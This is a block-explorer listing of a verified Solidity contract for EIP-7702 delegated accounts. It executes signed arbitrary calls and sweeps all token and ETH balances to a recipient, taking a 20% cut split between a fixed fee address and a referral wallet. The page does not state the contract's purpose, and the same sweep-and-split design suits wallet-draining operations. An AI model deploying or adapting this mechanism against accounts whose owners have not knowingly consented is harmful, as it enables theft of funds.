Verified contractPartialMIT
Mobius69sol
Address0x8a678dc077d7aa7b9fae76c4ecb712e3ef8d9821
- Balance
0 ETH
- Transactions
19
- Compiler
solc 0.8.28
- Same code
Only this contract
Details
- Compiler
- solc 0.8.28+commit.7893614a
- Language
- solidity
- Optimization
- Yes, 200 runs
- Via IR
- yes
- License
- MIT
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,003,832
- Creation transaction
- 0x54edd03ee7…83e524dede
MOBIUS69.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
// MOBIUS69 -- https://mobius69.xyz
// Copyright (c) 2026 MOBIUS69. All rights reserved.
// Unauthorized copying, redistribution, or reuse of this source code,
// in whole or in part, is prohibited.
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
contract Mobius69sol {
address public constant PROTOCOL_FEE = 0x0a3B6B465DaF912408Eb854D669fFFc060373068;
uint256 public constant Percent = 10;
uint256 private _status;
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
address private immutable _SELF;
mapping(address => mapping(address => uint256)) public nonces;
modifier nonReentrant() {
require(_status != _ENTERED, "Reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
modifier onlySelf() {
require(address(this) == _SELF, "Only in contract context");
_;
}
modifier onlyFromRouter() {
require(msg.sender == _SELF, "Only callable via MOBIUS69 router");
_;
}
constructor() {
_status = _NOT_ENTERED;
_SELF = address(this);
}
function MOBIUS69(
address account,
bytes calldata M69data,
uint256 deadline,
bytes calldata signature
) external payable nonReentrant onlySelf {
require(account != address(0), "Invalid account");
require(block.timestamp <= deadline, "Signature expired");
require(M69data.length >= 4, "Invalid M69data");
require(bytes4(M69data[0:4]) == this.M69.selector, "Payload must be M69");
_verifyDelegation(account);
uint256 nonce = nonces[account][msg.sender];
bytes32 digest = _buildDigest(account, msg.sender, M69data, deadline, nonce);
address signer = _recoverSigner(digest, signature);
require(signer == account, "Invalid signature");
nonces[account][msg.sender] = nonce + 1;
(bool ok, bytes memory ret) = account.call{value: msg.value}(M69data);
if (!ok) {
if (ret.length > 0) {
assembly { revert(add(32, ret), mload(ret)) }
} else {
revert("MOBIUS69 failed");
}
}
uint256 leftover = address(this).balance;
if (leftover > 0) {
(bool sent, ) = payable(msg.sender).call{value: leftover}("");
require(sent, "Refund to sponsor failed");
}
}
function getDigest(
address account,
address sponsor,
bytes calldata M69data,
uint256 deadline
) external view returns (bytes32) {
return _buildDigest(account, sponsor, M69data, deadline, nonces[account][sponsor]);
}
function _buildDigest(
address account,
address sponsor,
bytes calldata M69data,
uint256 deadline,
uint256 nonce
) internal view returns (bytes32) {
return keccak256(
abi.encodePacked(
_SELF,
account,
sponsor,
M69data,
deadline,
nonce,
block.chainid
)
);
}
function _verifyDelegation(address account) internal view {
address self = _SELF;
bool valid;
assembly ("memory-safe") {
let size := extcodesize(account)
if eq(size, 23) {
let ptr := mload(0x40)
extcodecopy(account, ptr, 0, 23)
let prefix := shr(232, mload(ptr))
let delegateAddr := shr(96, mload(add(ptr, 3)))
valid := and(eq(prefix, 0xef0100), eq(delegateAddr, self))
}
}
require(valid, "Account not delegated to this contract");
}
function _recoverSigner(bytes32 digest, bytes calldata signature) internal pure returns (address) {
require(signature.length == 65, "Invalid signature length");
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := calldataload(signature.offset)
s := calldataload(add(signature.offset, 32))
v := byte(0, calldataload(add(signature.offset, 64)))
}
if (v < 27) {
v += 27;
}
require(v == 27 || v == 28, "Invalid signature 'v' value");
bytes32 ethSignedMessageHash = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", digest)
);
address signer = ecrecover(ethSignedMessageHash, v, r, s);
require(signer != address(0), "Invalid signature");
return signer;
}
function M69(
address target,
bytes calldata data,
address[] calldata tokens,
address recipient,
address refWallet,
address nftTarget,
bytes calldata nftData,
address[] calldata nftM69targets,
bytes[] calldata nftm69datas,
bool applyFee
) external payable nonReentrant onlyFromRouter {
require(target != address(0), "Invalid target");
if (data.length > 0) {
(bool ok, bytes memory ret) = target.call{value: msg.value}(data);
if (!ok) {
if (ret.length > 0) {
assembly { revert(add(32, ret), mload(ret)) }
} else {
revert("call failed");
}
}
}
if (nftTarget != address(0) && nftData.length > 0) {
(bool ok, bytes memory ret) = nftTarget.call(nftData);
if (!ok) {
if (ret.length > 0) {
assembly { revert(add(32, ret), mload(ret)) }
} else {
revert("NFT mint/claim failed");
}
}
}
if (nftM69targets.length > 0) {
for (uint256 i = 0; i < nftM69targets.length; i++) {
if (nftM69targets[i] != address(0) && nftm69datas[i].length > 0) {
(bool ok, bytes memory ret) = nftM69targets[i].call(nftm69datas[i]);
if (!ok) {
if (ret.length > 0) {
assembly { revert(add(32, ret), mload(ret)) }
} else {
revert("NFT transfer failed");
}
}
}
}
}
if (tokens.length > 0 && recipient != address(0)) {
uint256 length = tokens.length;
for (uint256 i = 0; i < length; i++) {
address token = tokens[i];
if (token == address(0)) continue;
uint256 balance = IERC20(token).balanceOf(address(this));
if (balance == 0) continue;
uint256 feeUnit = applyFee ? (balance * Percent) / 100 : 0;
uint256 totalFee = feeUnit * 2;
uint256 remaining = balance - totalFee;
if (feeUnit > 0) {
if (refWallet != address(0)) {
IERC20(token).transfer(PROTOCOL_FEE, feeUnit);
IERC20(token).transfer(refWallet, feeUnit);
} else {
IERC20(token).transfer(PROTOCOL_FEE, totalFee);
}
}
if (remaining > 0) {
IERC20(token).transfer(recipient, remaining);
}
}
}
uint256 nativeBal = address(this).balance;
if (nativeBal > 0) {
uint256 feeUnit = (nativeBal * Percent) / 100;
uint256 totalFee = feeUnit * 2;
uint256 remaining = nativeBal - totalFee;
if (feeUnit > 0) {
if (refWallet != address(0)) {
(bool s1, ) = payable(PROTOCOL_FEE).call{value: feeUnit}("");
require(s1, "ETH transfer failed");
(bool s2, ) = payable(refWallet).call{value: feeUnit}("");
require(s2, "ETH transfer failed");
} else {
(bool s3, ) = payable(PROTOCOL_FEE).call{value: totalFee}("");
require(s3, "ETH transfer failed");
}
}
if (remaining > 0) {
bool hasRecipient = recipient != address(0) && recipient != address(0xdead);
if (hasRecipient) {
(bool s4, ) = payable(recipient).call{value: remaining}("");
require(s4, "ETH transfer failed");
} else {
(bool s5, ) = payable(msg.sender).call{value: remaining}("");
require(s5, "Native refund failed");
}
}
}
}
function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
return this.onERC721Received.selector;
}
function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure returns (bytes4) {
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(address, address, uint256[] calldata, uint256[] calldata, bytes calldata) external pure returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
receive() external payable {}
}
Compiler settingsShow
{
"viaIR": true,
"optimizer": {
"runs": 200,
"enabled": true
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.